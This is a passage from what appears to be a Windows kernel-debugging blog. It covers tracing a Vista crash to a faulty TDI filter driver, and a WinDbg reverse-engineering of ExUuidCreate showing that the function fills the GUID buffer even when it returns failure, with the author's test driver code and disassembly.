Well, it gives me some hints already. Now I have suspicious list with two elements, tdx.sys and somedrv.sys. If I try to search at msdn.microsoft.com with keyword tdx.sys I finally find this: “TDI filter drivers are supported on Windows Vista by a compatibility layer called TDX” at http://support.microsoft.com/kb/933049 .
So, it seems like I am dealing with TDI staff. Just to prove this idea I am using Ida Pro to analyze suspicious driver named somedrv.sys and I find that this driver filters \Device\Tcp using IoAttachDevice (…) :
.text:00015D8F push eax ; SourceString .text:00015D90 lea ecx, [ebp+TargetDevice] .text:00015D93 push ecx ; DestinationString .text:00015D94 call ds:RtlInitUnicodeString .text:00015D9A mov edx, [ebp+AttachedDevice] .text:00015D9D push edx ; AttachedDevice .text:00015D9E lea eax, [ebp+TargetDevice] .text:00015DA1 push eax ; TargetDevice .text:00015DA2 mov ecx, [ebp+DeviceObject] .text:00015DA5 mov edx, [ecx] .text:00015DA7 push edx ; SourceDevice .text:00015DA8 call ds:IoAttachDevice
Well, I become more and convinced that this problem is caused by the faulty TDI client named “somedrv.sys”. Removing the driver from system finally solves my problem, and I become a happy Vista user which does not experience mysterious bsods … for a while :)
3. Conclusions
The main conclusion is that analyze –v does not always help to resolve the real problem. While being very and very useful for major cases of crashes, analyze –v does not guarantee to provide 100 % useful data about the crash, and in such cases the raw stack analysis can help.
I was inspired to write this post after being confused by behaviour of ExUuidCreate function in Windows Vista.
This function is used to generate GUIDs at kernel mode. According to documentation: “ExUuidCreate returns STATUS_SUCCESS if successful; otherwise, if the system is not ready to generate a new UUID, it returns STATUS_RETRY.”
Practically, if you call this function say in driver which is loading by boot loader (if the driver has “Start” registry value equal to 0 due to SERVICE_BOOT_START flag set when creating service using CreateService) you can observe strange behaviour, especially in Vista.
Under strange behaviour I mean the following: function fails, but it actually copies the data into buffer. In other words, function creates GUID although it is failing :) To illustrate this problem, I created a small NT driver which is loading by boot loader (i.e., its “Start” value is set to zero). Driver just calling the function multiple time on a separate thread until the call to ExUuidCreate succeeds.
The thread function is implemented as following:
/** A thread function which is сalling ExUuidCreate(...) * @param lpParam pointer to user data * @return always 0x13 */ VOID PollingThread(unsigned char * lpParam) { KEVENT WaitEvent = {0}; /// wait object BOOLEAN bIsSucceded = FALSE; /// is operation succedded unsigned char bGUID[16] = {0}; /// buffer to hold guid LARGE_INTEGER liInterval = {0}; /// timeout buffer liInterval.QuadPart = -10000000; /// one second wait /// init event object KeInitializeEvent(&WaitEvent, SynchronizationEvent, FALSE); while (!bIsSucceded) { /// try to obtain guid value bIsSucceded = (ExUuidCreate((UUID*)&bGUID) == STATUS_SUCCESS); /// if function has failed ... if (bIsSucceded == FALSE) { KdPrint(("The call to ExUuidCreate(...) failed. ")); if (IsEmpty(bGUID)) { KdPrint(("All bytes in GUID are zero. \r\n")); } else { KdPrint(("GUID is actually generated: ")); PrintHexValues(bGUID); } } else { KdPrint(("The call to ExUuidCreate(...) succeded. Bytes: ")); PrintHexValues(bGUID); } /// is used to put thread into sleep state for 1 minute KeWaitForSingleObject(&WaitEvent, Executive, KernelMode, TRUE, &liInterval); } /// exit the thread PsTerminateSystemThread(0x13); }
As you can see, the code is very simple. When being executed in Vista under normal conditions, for example, when the OS is already loaded, the code outputs the following results:
00000000 0.00000000 The call to ExUuidCreate(...) succeded. Bytes: 00000001 0.00029110 20ea90276610dd11bbe2000c291a2f
However, if the machine gets rebooted, one can notice in debugger, that the function ExUuidCreate fails, but the data actually is copied into the buffer:
The most interesting happens if you try to debug this function. Reboot OS in debug mode, attach WinDbg, and wait until loader loads the driver. Wait until the thread PollingThread is created, and the call to ExUuidCreate is done. Turn on Disassembly window in WinDbg, and analyze code: (Standard function prolog which is committing stack and initializes local variables)
819b68d1 8bff mov edi,edi 819b68d3 55 push ebp 819b68d4 8bec mov ebp,esp 819b68d6 83e4f8 and esp,0FFFFFFF8h 819b68d9 83ec14 sub esp,14h 819b68dc 8364240400 and dword ptr [esp+4],0 819b68e1 53 push ebx 819b68e2 56 push esi 819b68e3 57 push edi
(Obtaining references to global variable ExpUuidCachedValues and storing them in eax, ecx, ebx)
819b68f0 a140a3b181 mov eax,dword ptr [nt!ExpUuidCachedValues (81b1a340)] 819b68f5 8b0d4ca3b181 mov ecx,dword ptr [nt!ExpUuidCachedValues+0xc (81b1a34c)] 819b68fb 8b1d44a3b181 mov ebx,dword ptr [nt!ExpUuidCachedValues+0x4 (81b1a344)] 819b6901 89442418 mov dword ptr [esp+18h],eax ss:0010:87304d38=00000008
This part is interesting, more interesting is to answer the question, what is the role of ExpUuidCachedValues in GUID generation process? So lets do more research,
1: kd> db 81b1a340 81b1a340 00 00 00 00 00 00 00 00-ff ff ff ff 00 00 80 6e ...............n 81b1a350 6f 6e 69 63 00 00 00 00-00 00 00 00 00 00 00 00 onic............ 81b1a360 88 ff ff ff c4 ff ff ff-02 00 00 00 00 00 00 01 ................ 81b1a370 c4 ff ff ff 40 00 74 00-7a 00 72 00 65 00 73 00 ....@.t.z.r.e.s. 81b1a380 2e 00 64 00 6c 00 6c 00-2c 00 2d 00 33 00 32 00 ..d.l.l.,.-.3.2. 81b1a390 32 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 2............... 81b1a3a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 81b1a3b0 00 00 00 00 00 00 0a 00-05 00 03 00 00 00 00 00 ................
It seems, that ExpUuidCachedValues is some structure, which holds some values, which are updated by system and are copied into GUID buffer passed by user to ExUuidCreate function; lets continue:
819b6905 8b4508 mov eax,dword ptr [ebp+8] ss:0010:87304d48=87304d50 819b6908 894808 mov dword ptr [eax+8],ecx 819b690b 8b0d50a3b181 mov ecx,dword ptr [nt!ExpUuidCachedValues+0x10 (81b1a350)] 819b6911 89480c mov dword ptr [eax+0Ch],ecx
Voila! This piece of code writes into buffer which was passed by user into ExUuidCreate. The write value is stored in ECX, which is pointing to [nt!ExpUuidCachedValues+0xc]. In other words, at the begining the function ExUuidCreate takes some field from ExpUuidCachedValues and writes it down into user buffer without taking care about return value of function. It means, that even if later the function might fail, the content of user buffer is altered already.
Just to prove at this point that the write operation is done into user buffer I output the content of buffer which was passed into ExUuidCreate:
1: kd> db 0x87304d50 87304d50 00 00 00 00 00 00 00 00-85 da 80 6e 00 00 00 00
As you can see, at this moment the buffer is not fully zeroed as it was before. Lets go deeper inside the function. It operates with several global variables, and finally it also touches user buffer:
819b6a27 99 cdq 819b6a28 2bf0 sub esi,eax 819b6a2a 8b4508 mov eax,dword ptr [ebp+8] 819b6a2d 1bda sbb ebx,edx 819b6a2f 66895804 mov word ptr [eax+4],bx 819b6a33 c1eb10 shr ebx,10h 819b6a36 6681e3ff0f and bx,0FFFh 819b6a3b 6681cb0010 or bx,1000h 819b6a40 84c9 test cl,cl 819b6a42 8930 mov dword ptr [eax],esi
Now the user buffer looks like:
0: kd> db 0x87304d50 87304d50 79 59 e4 06 8c 43 dd 11-85 da 80 6e 6f 6e 69 63On next iteration: 0: kd> db 0x87304d50 87304d50 7a 59 e4 06 8c 43 dd 11-85 da 80 6e 6f 6e 69 63
Again, on next iteration:
0: kd> db 0x87304d50 87304d50 7d 59 e4 06 8c 43 dd 11-85 da 80 6e 6f 6e 69 63
As if you have mentioned, the first byte is changing all the time. Wonderful, on each call the function gives unique values, although it is failing! Well, I suggest MSFT to documented this behavior, or at least explain this case in documentation. If you would like to repeat this case, please download full sources of the driver here: sources